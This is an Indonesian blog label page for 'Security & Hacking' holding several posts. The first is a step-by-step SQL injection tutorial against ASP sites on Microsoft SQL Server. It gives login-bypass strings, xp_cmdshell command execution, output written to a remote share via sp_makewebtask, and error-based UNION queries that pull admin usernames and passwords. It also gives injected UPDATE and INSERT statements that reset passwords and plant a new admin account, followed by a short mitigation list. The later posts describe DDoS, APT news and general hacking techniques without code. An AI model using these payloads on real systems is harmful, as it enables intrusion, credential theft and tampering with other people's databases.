Showing posts with label Security & Hacking. Show all posts
Showing posts with label Security & Hacking. Show all posts

Sunday, October 15, 2017

METODE PENYERANGAN WEB SITE MENGGUNAKAN SQL INJECTION - Microsoft SQL

Ketika mesin server hanya port 80 yang dibuka, kita mempunyai keyakinan bahwa tidak akan menghasilkan sesuatu yang bermanfaat yang dapat digunakan untuk menyerang, admin juga beranggapan hanya degan mem-patch servernya dianggap aman. Jika anggapan itu terus dipakai berarti kita “menekan tombol” untuk membuka hacker masuk.

SQL Injection adalah salah satu tipe meng-hack yang hanya membutuhkan port 80 dan tidak memerlukan port lain. SQL injection akan menyerang aplikasi web yang berbasiskan side-server scripting seperti ASP, JSP, PHP, CGI, dan yang mirip dengan itu. Pada artikel ini kita tidak akan membahas hal yang paling baru tentang SQL Injection, karena motode dan trik SQL Injection terus berkembang.

Sebelum anda membaca lebih lanjut, anda harus mnegetahui terlebih dahulu bagaimana database bekerja dan bagaimana SQL digunakan untuk mengaksesnya.

Apakah SQL Injection itu ?




SQL Injection adalah sebuah teknik untuk mengeksporasi aplikasi web dengan memanfaatkan suplai data dari client dalam sintak SQL. Banyak halaman web memakai parameter dari web user untuk menggunakan query ke dalam database. Kita ambil sebagai contoh ketika user akan login, halaman user akan mengirim user dan login sebagai parameter untuk digunakan sebagai SQL dan mencek apakah user dan password cocok. Dengan SQL Injection ini sangat mungkin untuk kita mengirim user nama dan password dan dianggap benar.

Walaupun mudah untuk menandai dan melindungi model serangan ini, tapi cukup mengherankan banyak aplikasi web yang terserang dengan metode ini. Pada pembahasan selanjutnya dicontohkan ketika memakai web server IIS dan Microsoft SQL Server untuk databasenya, sedangkan skrip yang dipakai adalah ASP.
Apa yang diperlukan

Untuk keperluan SQL Injection kita hanya membutuhkan browser. Browser yang dipakai adalah segala macam browser.

Apa yang perlu di cari ?


Kita dapat memanfaatkan halaman-halaman web yang terdapat submit data, contoh: halaman login, pencarian, feedback, dan lain-lain. Kadang halaman HTML menggunakan metode POST untuk mengirim parameter ke halaman web yang lain. Jika model halamnnya seperti ini maka kita harus melihat source code karena kita tidak dapat melihat pada URL. Mudah untuk mencek source code halaman HTML, tinggal klik kanan pilih view source (pada Internet Exlorer), kemudian cari kode “FORM”. Berikut contoh halaman tersebut:

<FORM action=search.asp method=post> 
<input type=hidden name=login value=dellze> 
</FORM>

Semua yang terletak diantara <FORM> dan </FORM> mempunyai potensial untuk digunakan mengekplorasi halaman web tersebut. Karena itu dapat menjadi sebuah parameter. Halaman diatas berarti akan mengrimkan parameter bernama “login” dengan nilai (value)=”dellze”.


Bagaimana jika tidak bukan halaman input ?


Jika halaman bukan berbentuk form input, maka anda harus cari halaman yang di buat dengan bahasa pemrograman internet seperti ASP, JSP, CGI or PHP, kemudian cari spesial URL seperti http://www.example.com/profile.asp?id=10. Ini berarti halaman web ASP dengan parameter “id” yang bernilai “10”.


Bagaimana cara mengetes suatu halaman web mudah diserang?


Dimulai dari pengunaan single quote. Seperti masukan: hi or  1=1--

Dalam login, password, atau URL lain. Contoh:

  1. Login: hi' or 1=1-- 
  2. Pass  : hi' or 1=1-- 
  3. http://www.example.com/profil.asp?id=10id=hi' or 1=1-- 


Jika halaman dalam bentuk ada field yang bertipe hidden, anda tinggal download kode HTML dari situs yang anda buka ke hard disk anda, di modifikasi sedikit kemudian di simpan dalam hard disk dan modifikasi URL, seperi contoh berikut: Skrip awal:

<FORM action=search.asp method=post> 
<input type=hidden name=cari value=t610 >
</FORM>

Setelah di modifikasi:

<FORM action=http://www.example.com/search.asp method=post>
<input type=hidden name=cari value=t610>
</FORM>

Jika anda beruntung maka dengan cara seperti itu anda dapat masuk ke halaman web tanpa harus mengisikan login name dan password yang benar.

Kenapa Harus ‘ or 1=1--


Kita akan ekplorasi pentingnya 1=1 -- dan apakah memperoleh informasi yang tidak normal (diberikan kepada user biasa) dari sebuah web site. Kita ambil halaman asp yang di link ke halaman lain seperti URL berikut: http://www.example.com/barang.asp?category=food

Dalam URL diatas, “category” adalah nama variabel sedangkan “food” adalah nilai yang diberikan pada variabel tersebut. Untuk dapat mengambil nilai dari variabel diatas berikut code program pada file barang.asp.

v_cat = request("category")

sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr)

seperti kita lihat pada contoh diatas variabel kita bungkus dan diberi nama “v_cat” dan SQL menjadi:

SELECT * FROM product WHERE PCategory='food'

Pada query diatas menghasilkan ini satu atau beberapa baris yang cocok untuk kondisi dimana (WHERE) kondisinya adalah ‘food’. Sekarang kita asumsikan URL diatas kita ganti menjadi seperti ini:

http://www.example.com/barang.asp?category=food' or 1=1--

Sekarang variabel “v_cat” kita menjadi “foot’ or 1=1—“, jika di masukkan ke query maka:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Query diatas berarti menampilkan semua dari tabel product dengan “Pcategory” sama dengan ‘food’ atau tidak. Sedangkan double dash “--“ menyatakan pada SQL server untuk mengabaikan kesalahan query, yang akan membersihkan single quote yang terakhir. Kadang kita dapat menggenti double quote dengan has tunggal “#”.

Jika cara diatas tidak dapat mennyebabkan SQL server mengabaikan kesalahan query anda dapat mencoba.
' or 'a'='a
Sehingga query akan menjadi:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Itu seharusnya akan menghasilkan hasil yang sama.

Tergantung pada peraturan Query, dapat dicoba dengan beberapa alternatif yang mungkin:

' or 1=1-- 
" or 1=1-- 
or 1=1--

or  'a'='a 
" or "a"="a
 ') or ('a'='a


 Bagaimana cara mengeksekusi jarak jauh dengan SQL Injection?


Melakukan perintah injeksi SQL berarti kita dapat mengeksekusi perintah SQL. Secara default Microsoft SQL Server running sebagai SYSTEM, yang berarti sama dengan Administrator mengakses Windows. Kita dapat menggunakan store procedure seperti master..xp_cmdshell untuk melakukan remote exucution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Dapat dicoba menggunakan double quote (") jika single quote (') tidak berjalan.

Semi colon digunakan untuk mengakhiri query, jadi setelah semicolon kita membolehkan untuk memulai perintah SQL baru. Untuk menguji perintah diatas di eksekusi dengan sukses, anda dapat memperoleh informasi dari paket ICMP dari 10.10.1.2, yang akan mencek setiap paket dari server.

#tcpdump icmp

Jika tidak mendapatkan perintah request ping dari server, dan pesan error yang mengidikasikan kesalahan permission, ini juga berarti administrator membatasi akses Web User untuk menakses store procedure tersebut.

Bagaimana memperoleh output dari SQL Query kita ?


Kita bisa menggunakan sp_makewebtask untuk menuliskan query dalam HTML.
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Dengan syarat target IP harus berupa folder “share” yang di sharing untuk semuanya user.

Bagaimana memperoleh data dari pesan kesalahan database ?


Kita dapat menggunakan informasi pesan kesalahan yang di keluarkan oleh MS SQL Server untuk mendapatkan sebagian data yang kita perlukan. http://www.myandisun.com/barang.asp?id=10

Kita akan mencoba UNION integer ‘10’ dengan string dari database: 

http://www.example.com/barang.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Tabel system INFORMATION_SCHEMA.TABLES berisi informasi semua tabel di dalam server. Pada TABLE_NAME fieldnya berisi dengan jelas nama masing-masing tabel dalam database. Itu kita pilih karena pasti ada dalam sebuah database dalam SQL Server, query nya adalah:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

Query diatas akan mengembalikan tabel pertama dalam database. Ketika kita UNION nilai string dengan integer 10, MS-SQL Server mencoba menkonversi string (nvarchar) menjadi integer. Ini akan menghasilkan error, ketika kita tidak bisa mengkonversi dari string (nvarchar) to int, server akan menampilkan pesan kesalahan.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /barang.asp, line 5


Error ini bagus buat kita dan cukup untuk mengatakan pada kita ada nilai yang tidak dapat di konversi menjadi integer. Dalam kasus ini, kita memperoleh tabel pertama di dalam database, yang namanya “tabel1”.

Untuk dapat menampilkan nama tabel yang lain, kita dapat mengikuti query berikut: 

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Kita juga dapat mencari data mengunakan keyword LIKE. http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5

Jika kita lihat syntax ini sama antara '%25login%25' dan %login% dalam SQL Server. Dalam kasus ini, kita akan mendapatkan nama tabel pertama yang cocok untuk criteria “admin_login”.


Bagaimana mendapatkan semua nama kolom dalam tabel ?


Kita dapat menggunakan kegunaan lain dari tabel INFORMATION_SCHEMA.COLUMNS untuk memetakan nama kolom dalam sebuah tabel dalam database.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5


Jika sekarang yang kita punya adalah colum nama pertama, kita dapat menggunakan NOT IN () untuk mendapatkan nama kolom berikutnya.

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5

Ketika kita meneruskan lebih lanjut, kita memperoleh sisa (rest) nama kolom yang lain, seperti contoh: “password”, “detail”. Kita tahu ini ketika kita memperoleh pesan kesalahan.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5

Bagaimana mendapatkan kembali data yang kita perlukan ?


Sekarang kita sudah menidentifikasi beberapa tabel yang penting, dan nama kolomnya, kita dapat menggunakan teknik yang sama untuk informasi lebih lanjut yang kita inginkan dari database.

Sekarang, kita lihat login_name yang pertama dari tabel “admin_login”: 

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5

Kita tahu ada admin user dengan login name “neo”. Akhirnya mendapatkan password dari “neo” dari database.

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5


Sekarang kita dapat login sebagai “neo” dengan menggunakan password “m4trix”.

Bagaimana mendapatkan niilai numeric string ?


Ada batasan teknik untuk menerangkan hal diatas. Kita tidak dapat mendapatkan pesan error jika kita mencoba menkonversi text yang terdiri dari valid number (carakter antara 0-9 saja). Kita coba mendapatkan password dari “trinity” yang “31173”.
http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Kita mungkin akan mendapatkan sebuah halaman “Page Not Found” error. Ini karena password “31173” akan di konversi menjadi number, sebelum UNION dengan integer (10 dalam kasus ini). Selama statement UNION valid, SQL Sqerver tidak akan melemparkan pesan kesalahan, dan kita tidak akan mendapatkan kembalian data beberapa masukan numeric.

Untuk dapat memecahkan masalah ini, kita dapat menginputkan numeric string dengan beberapa alphabet yang dipastikan gagal untuk di konversi. Kita coba query berikut:

http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Kita dengan mudah menggunakan tanda (+) untuk memasukkan password dengan suatu tek yang kita inginkan. Kode ASSCII untuk ‘+’ =0x2b. kita menambahkan ‘(space)morpheus’ dalam password yang sebenarnya. Oleh karena itu, selama kita mempunyai numeric string ‘31173’, ini akan menjadi ’31173morpheus’. Dengan memanggil function convert(), mencoba menkonversi ‘31173 mopheus’ menjadi sebuah integer, SQL Server akan mengeluarkan pesan kesalahan:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5

Sekarang, anda dapat login sebagai 'trinity' dengan password '31173'.

Bagaimana megupdate dan memasukkan data ke dalam database?


Ketka kita sukses mengetahui nama kolom dalam tabel, kita memungkinkan untuk kita meng UPDATE atau melakukan INSERT record baru dalam tabel. Sebagai contoh menganti password “neo”:

http://www.example.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

Untuk INSERT record baru ke dalam database: http://www.myandisun.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Kita dapat login sebagai “neo2” dengan password “newpas5”

Bagimana menghindari SQL Injection?


Langkah yang dapat di tempuh untuk mengurangi penyusupan ke halaman web dengan SQL Injection dengan cara:

1. Memfilter dengan tidak membolehkan karakter seperti single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, dalam string form: Masukan dari from users, Parameters di URL, Nilai dari cookie.

2. Untuk nilai numeric, convert dulu sebelum melewati statement SQL dengan mengunakan ISNUMERIC untuk meyakinkan itu adalah integer.

3. Mengubah "Startup and run SQL Server" menggunakan low privilege user dalam SQL Server Security tab.

3. Ubah stored procedure – store procedure yang tidak terpakai, seperti: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask


Kesimpulan


SQL Injection dapat bekerja hanya dengan menggunakan Port 80. Fasilitas Web Server yang digunakan untuk menampilkan pesan kesalahan dan stored procedure default Microsoft SQL Server dapat di gunakan untuk mengekplorasi halaman web dengan SQL Injection.

Untuk meminimalkan penyusupan ke server Web dan Server Database kita dapat menghapus atau menonaktifkan service dan stored procedure yang tidak diperlukan. Yang paling penting untuk menutup halaman web kita dengan dari serangan dengan motode SQL Injection adalah Validasi input sebelum dikirim ke web server.

Daftar Referensi

http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc http://www.owasp.org/asac/input_validation/sql.shtml
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6 http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

Saturday, October 14, 2017

Antisipasi Serangan DDoS


Serangan pada jaringan komputer dengan teknik DoS (Denial of Service) merupakan teknik serangan terhadap komputer atau server yang berada pada jaringan internet dengan cara mengirim paket request secara berlebihan dan sangat banyak sehingga menghabiskan resource yang dimiliki oleh komputer tersebut dan mengakibatkan komputer tidak dapat menjalankan tugasnya dengan benar dan juga mengakibatkan pengguna lain tidak bisa mengakses layanan dari komputer yang diserang tersebut.

Teknik serangan DoS memanfaatkan celah kelemahan pada protocol TCP (Transmission Control Protocol) kegiatan serangan selanjutnya berkembang menjadi memenuhi ruangan hard disk dalam sistem, mengunci salah seorang akun pengguna yang valid, atau memodifikasi tabel routing dalam sebuah router dengan tujuan akhir antara lain adalah agar komputer yang diserang tidak dapat melayani request dari pengguna dan juga mengakibatkan sistem komputer menjadi crash.

Saat ini banyak ditemukan software yang digunakan sebagai tools untuk melakukan serangan DoS antara lain adalah: Jolt2, Bubonic.c, Land and La Tierra, Targa, Blast2o, Nemesy, Panther2, Crazy Pinger, Some Trouble, UDP Flood, FS Max dan sebagainya yang bahkan tools ini sebagian besar bisa didapatkan dengan mudah dan gratis

Beberapa contoh serangan dengan teknik DoS:

1. Buffer Overflow. Mengirimkan data yang melebihi kapasitas system, biasanya dengan mengirim paket ICMP (Internet Control Message Protocol) yang besar.

2. SYN Attack, Mengirimkan data TCP SYN dengan alamat palsu pada komunikasi three way handshake di TCP/IP.

3. Teardrop Attack, Mengirimkan paket IP dengan nilai offset yang membingungkan dan rentan membuat system komputer korban menjadi crash.

4. Smurf Attack, Mengirimkan paket ICMP bervolume besar dengan menggunakan alamat host lain.

5. ICMP Flooding, Mengirimkan paket ICMP secara berlebihan dan mengakibatkan mesin crash dan tidak dapat melayani request TCP/IP.

Teknik selanjutnya yang merupakan perkembangan dari DoS adalah teknik serangan DDoS (Distributed Denial of Service). Pada teknik ini serangan dilakukan dengan banyak komputer yang telah terinfeksi oleh penyerang dan dijadikan zombie yang bisa diperintah secara remote untuk bersama-sama melakukan serangan DoS. Sehingga DDoS merupakan serangan DoS yang terdistribusi dengan menyertakan lebih dari satu komputer untuk melakukan serangan.

Serangan DDoS sangat merugikan bukan hanya karena serangannya terhadap sebuah system komputer tetapi juga merugikan komputer yang terinfeksi dan dijadikan zombie untuk bisa diperintah secara langsung oleh penyerang. Dampak serangan DDoS akan semakin parah jika ternyata website yang diserang menggunakan shared IP Address sehingga dapat menimbulkan kekacauan kepada website lain yang juga menggunakan IP tersebut pada server hosting yang sama dibandingkan bila menggunakan private IP.

Software tools untuk menjalankan serangan DDoS kenyataannya sangat banyak, contohnya adalah: Tribe Flood Network (TFN), TFN2K, Shaft, Trinity, Knight, Mstream, Kaiten dan lainnya.
Ada beberapa hal yang bisa dijadikan indikasi bahwa sebuah komputer telah dimanfaatkan untuk menjadi zombie sekalipun kebenarannya masih harus dideteksi lebih dalam lagi:

1.System komputer bekerja lebih lambat dibandingkan biasanya (terutama saat membuka file atau menjalankan proses lainnya).

2. Koneksi internet menjadi lambat tidak seperti biasanya (lambat dalam mengakses website atau menjalankan internet browser).

3. Komputer yang terus terhubung dengan internet sekalipun tidak digunakan oleh user merupakan sasaran empuk untuk dijadikan zombie dalam melancarkan serangan.

4. Pada history internet browser banyak alamat website yang rasanya anda tidak pernah mengaksesnya. Bisa juga bila di komputer anda terdapat file yang rasanya tidak pernah anda akses / buat dan juga terdapat software yang sekiranya anda merasa tidak pernah menginstalnya namun tiba-tiba ada di komputer.

Bila hal tersebut terjadi dan menimbulkan kecurigaan yang besar sebaiknya anda segera menghubungi ISP (Internet Service Provider) tempat anda berlangganan internet untuk dilihat secara lebih jelas tentang Traffic pada komputer anda. Hentikan komputer anda dari koneksi internet untuk sementara waktu dan install ulang system operasi bisa menjadi solusi untuk menghilangkan infeksi penyerang dari komputer anda. Terdapat beberapa tips yang sebaiknya dilakukan oleh pemilik komputer untuk mengantisipasi komputernya menjadi korban serangan DDoS:

1. Install anti virus di komputer anda dan pastikan lakukan update secara berkala.
2. Aktifkan firewall di komputer.
3. Nonaktifkan fasilitas remote access pada komputer anda bila tidak dibutuhkan.
4. Lakukan filter pada email untuk menghindari spam, karena biasanya komputer zombie terinfeksi dari spam pada email.

Selain itu ada beberapa hal yang sebaiknya dilakukan oleh pemilik website atau server antara lain menyediakan kapasitas server yang sekiranya melebihi kapasitas maksimal data yang dibutuhkan untuk mengantisipasi overload data dan berkoordinasi dengan ISP untuk memantau traffic websitenya supaya melakukan pembatasan dan penghentian akses layanan kepada IP yang mencurigakan.

Serangan DDoS sering terjadi secara tiba-tiba tanpa ada indikasi awal yang signifikan, dibutuhkan pengawasan yang cermat dan koordinasi yang baik antar pihak yang saling berkaitan untuk mengantisipasi serangan yang merugikan ini. Dampak serangan tergolong cukup fatal karena system yang sudah crash mungkin akan menjadi tidak bisa lagi untuk diperbaiki. Kerugian juga datang dari pihak user yang mengakibatkan tidak bisa dilayani requestnya terhadap website yang diserang DDoS. Terlebih lagi bila website yang terserang merupakan website perusahaan bergengsi atau juga website e-commerce.

Sumber referensi:
http://id.wikipedia.org/wiki/Serangan_DoS
http://www.cert.org/homeusers/ddos.html
http://www.us-cert.gov/cas/tips/ST04-015.html

Wednesday, November 2, 2016

Serangan DDoS Asia

Ketakukan pemerintah di sejumlah negara atas serangan hacker yang akan melumpuhkan infrastruktur penting terjadi pada Desember 2015 silam, ketika sebuah ancaman lanjutan yang konstan (advanced persistent threat, APT) menyerang pemerintahan Ukraina.

Kejadian tersebut menjadi intrusi cyber pertama yang menjatuhkan dan mematikan aliran listrik suatu bangsa.

Dengan malware BlackEnergy, hacker secara jarak jauh memutuskan daya 225.000 pengguna dan membanjiri customer service dengan banyak panggilan telepon untuk mencegah panggilan pelanggan asli.

Serangan di Asia

Serangan DDoS menjadi senjata pemusnah untuk para pemeras dan teroris digital. Serangan DDoS datang dalam bentuk yang berbeda.
Beberapa di antaranya dimaksudkan untuk mengganggu sistem, sementara yang lain membanjiri sistem dengan permintaan untuk beberapa sumber daya (bandwidth, waktu prosesor, ruang disk, dll).

Di Asia, serangan APT (advanced persistent threat) semakin cepat. Sengketa teritorial antara China, India dan negara-negara Asia Tenggara terus meningkat.
Kelompok hacker yang dikenal sebagai APT 30 di tahun-tahun terakhir ini telah menggunakan
malware modular untuk memperoleh data sensitif dari target mereka, termasuk jaringan pemerintah yang tergolong rahasia.
Beberapa serangan cyber terdiri dari email yang ditulis dalam bahasa si penerima yang berisi dokumen-dokumen yang terlihat legal, tetapi berisi malware.

Para penyerang juga membuat algoritm worm-like , yang menempel pada hardware , seperti USB thumb drive dan hard disk. Setelah komponen ini kontak dengan sistem lain, serangan tersebut akan menyebar.

Perlindungan terhadap DDoS dan risiko APT
Derek Manky, Global Security Strategist dari Fortinet mengatakan, sebuah pendekatan yang komprehensif dan multi-layered adalah salah satu cara terbaik untuk meningkatkan pertahanan dari ancaman cyber .

"Pertahanan yang efektif sering ditemukan saat membangun kerangka perlindungan yang kohesif dan tambahan perlindungan," kata Manky melalui keterangan resminya, Selasa (7/6/2016).

Kerangka kerja ini, lanjutnya, sangat penting karena menggabungkan kemampuan keamanan saat ini--teknologi yang mulai muncul dan memiliki mekanisme pembelajaran--menciptakan tindak lanjut intelijen keamanan dari ancaman baru terdeteksi.
Langkah-langkah lainnya termasuk aspek lingkungan jaringan dan merancang rencana respon. Sangat penting untuk mengamankan potensi penyempitan, memonitor jaringan, dan memastikan mereka melampaui serangan besar dan rencana penanggulangan.

Hal ini bertujuan untuk penghapusan lengkap dari semua lalu lintas DDoS, strategi seharusnya berusaha untuk mempertahankan layanan--terutama layanan penting--dengan sedikit gangguan.
Rencana lengkap harus mencakup backup dan upaya pemulihan, pengawasan tambahan, serta cara-cara untuk memulihkan layanan secepat dan seefisien mungkin.
Sebuah strategi multi-layer untuk perlindungan DDoS juga melibatkan solusi dedicated on-premise yang dirancang untuk mempertahankan dan mengurangi ancaman dari semua sudut jaringan.

"Administrator TI harus ingat bahwa itu tidak perlu untuk setiap karyawan memiliki akses ke sumber daya tertentu yang mungkin berisi data sensitif. Dengan membatasi akses kapanpun memungkinkan,organisasi untuk dapat mengurangi banyak serangan," tambahnya.


Wednesday, October 26, 2016

Inilah Teknik hacking yang sering digunakan para Hacker.

Sekarang ini, sudah marak terjadinya serangan-serangan dalam internet yang dilakukan oleh para hacker, Entah itu hacker professional, newbie, atau bahkan hacker abal-abal, Tujuan dari para hacker tersebut berbeda-beda, ada yang bertujuan untuk menguji coba keamanan sistem jaringan, ada juga yang ingin berbuat jahat dengan alasan mencari keuntungan, balas dendam bahkan hanya sekedar iseng iseng. Lalu apa teknik yang mereka gunakan untuk proses hacking? Berikut ini adalah ulasan singkat yang dapat kami sampaikan :


1.       Eksploit
Eksploit adalah sebuah kode yang digunakan untuk menyerang keamanan sistem komputer / jaringan secara spesifik. Yang bertujuan untuk mencari kelemahan ( Vulnerability ) pada komputer tujuan.
Para Hacker memanfaatkan Eksploit untuk mencari celah keamanan pada server target, celah tersebut bermacam macam penyebabnya, dan penyebab umum adalah adanya kesalahan konfigurasi pada sistem / jaringan. Eksploit yang umum digunakan adalah CGI Script, yaitu program sisi server yang menjadikan website dinamis.

Inti dari serangan ini, Menghancurkan sistem dan membuatnya tidak dapat diakses oleh user lain. Para hacker berusaha membuat sistem jaringan, komponen utama seperti CPU, dan Penyimpanan menjadi OverLoad.
Anda dapat membaca artikel yang lebih dalam tentang Serangan Denial Of Service di artikel Jenis-jenis serangan DOS atau DDOS di artikel Macam Macam / Jenis Serangan DdoS

3.       Serangan Terhadap Web Server
Banyak sekali webserver yang memiliki celah keamanan. Misalnya Web Server ISS pada Windows NT, Apache pada Unix yang memiliki pembagian root atau sistem yang rentan. Contohnya Web Server ISS yang belum di-patch akan sangat rentan terhadap serangan. Sehingga dapat digunakan untuk mengakses direktori UNICODE yang memungkinkan para hacker mampu mengeksekusi File atau program seperti cmd.exe untuk memperoleh suatu remote shell. Bug umum lainnya adalah berupa Buffer Overfloe yang terdapat pada request field atau field HTTP yang lainnya.

4.       Serangan Terhadap Web Browser
Saat ini, banyak ditemukan web browser yag memiliki sejumlah celah keamanan, seorang hacker, dapat menyerang keamanan tersebut menggunakan Active Conten Seperti Java Script, Java, ActiveX, dan HTML

5.       Access Auditing
Sistem  Operasi biasanya mendukung log dari aktivitas akses file yang gagal, Login yang gagal ( yang biasanya disebabkan oleh kesalahan penulisan username ataupun pasword.) atau log dari aktivitas yang berhubungan dengan tugas-tugas administratif, terutama oleh user account non administratif. Dan, file log itulah yang mungkin bisa jadi senjata para hacker.

6.       POP3 and IMAP
Server POP3 dan IMAP dikenal berisikan eksploit yang memungkinkan seorang hacker melancarkan aksi serangannya dengan tujuan menebak password dari suatu email address tertentu.

7.       IP Spoofing
Anda dapat membaca tentang Apa itu IP Spoofing dan mengenalnya lebih dalam lagi pada artikel …
Banyak dari Hacker yang menggunakan teknik IP Spoofing dikarenakan ProtokolTCP/IP tidak memiliki cara untuk memeriksa apakah sumber IP Address dalam packet header benar-benar milik mesin yang mengirimkannya. Dan kemampuan ini dimanfaatkan oleh para hacker untuk melancarkan aksi penyerangannya berupa :

a.       SMUFR Attack
Merupakan Serangan berupa Denial Of Service
b.      Prediksi jumlah rangkaian TCP
Merupakan serangan hijack koneksi TCP
c.       Prediksi Rangkaian Melalui Pemalsuan DNS
Merupakan serangan mirip pengalihan situs.

8.       Buffer Overflows
Beberapa serangan umum bufferflows yang dilakukan oleh hacker adalah :

a.       Buffer overruns
Pada kebanyakan web server, seperti Apache dan IIS kemungkinan memiliki beberapa celah keamanan,  Seperti Worm ( code red ) untuk IIS, dan slapper untuk apache menjadikan celah keamanan yang lebar.

b.      DNS Overflow
Dimana suatu serangan yang akan membeerikan nama DNS yang sangat panjang dan nama DNS dibatasi hingga 64-byte per subdomain dan 256-byte secara keseluruhan.

c.       Serangan DNS
Server DNS biasanya dijalankan pada mode “Trust” oleh service dan user, maksudnya bahwa server DNS dapat dikompromikan agar dapat melancarkan serangan lebih jauh kepada user dan service lainnya. Hal ini menjadikan server DNS menjadi target atau sasaran utama serangan Hacker

d.      Mengetahui cache DNS
Serangan yang umum terhadap server DNS diumpamakan berkerja dengan cara mengirimkan suatu pertanyaan untuk meminta domain yang sesungguhnya, ( “siapakah www.coba.com ini? “ ) atau dalam terminal linux biasa menggunakan perintah “Whois www.coba.com” setelah melakukan pertanyaan maka akan ada jawaban, seperti www.coba.com adalah 127.0.0.1

Kesimpulan : Setelah membaca beberapa teknik hacking diatas, harus kita ketahui, bahwa setiap jaringan memiliki masalah yang berbeda, seaman amannya suatu jaringan, tidak ada yang bisa menjamin jika jaringan tadi tidak dapat dihack,karena prinsipnya 1 masalah dapat memiliki 1000 cara, lalu apa kesimpulan anda?

Lagkah Dasar Keamanan Jaringan Komputer

Teknologi komputer, informasi, dan komunikasi telah berkembang pesat. Dengan meningkatnya pengetahuan masyarakat dalam bidang teknologi ini, banyak muncul penyalahgunaan dalam penggunaan   teknologi komputer, yang kemudian meningkat menjadi tindak kejahatan dunia maya atau dikenal juga dengan Cybercrime. Hal ini jelas akan akan mengganggu jalannya dunia bisnis di dunia cyberspace dimana banyak pegguna yang sangat dirugikan.
Dari berbagai sistem computer dan jaringannya dibangun dengan memperhatikan langkah dasar keamanan jaringan,  yakni sebagai berikut 

Prevention

Dasar dari the security trinity adalah prevention (Perlindungan ). Untuk dapat mengukur tingkat keamanan dibutuhkan cara mengukur perlindungan terhadap eksploitasi celah keamanan ( vulnerability ) yang akan berhasil ditemukan melalui detection dan response.

2.       Detection

Untuk menerapkan perlindungan yang akan dilakukan, dibutuhkan prosedur atau langkah tentang cara mendeteksi adanya permasalahanyang berpotensial pada sisi keamanan. Semakin cepat suatu masalah bias terdeksi, maka semakin cepat  pula cara memperbaiki dan  mengatasi permasalahan yang telah ditemukan.

3.       Response


Response atau respon, merupakan hal penting dalam langkah dasar keamanan jaringan. Setelah penerapan langkah nomor dua ( detection / deteksi ) maka langkah yang akan dilakukan berikutnya adalah merespon hasil dari pendeteksian,  Intinya, setelah kita melakukan langkah nomor 1 ( Perlindungan ) terhadap system jaringan, selanjutnya menerapkan langkah nomor 2 ( Pendeteksian ), dan dibarengi dengan langkah nomor 3 ( Response ), Response dilakukan jika system telah mendeteksi adanya masalah jaringan yang meliputi banyak hal, termasuk keamanan, Lebih jelasnya, lihat ilustrasi gambar dibawah ini.

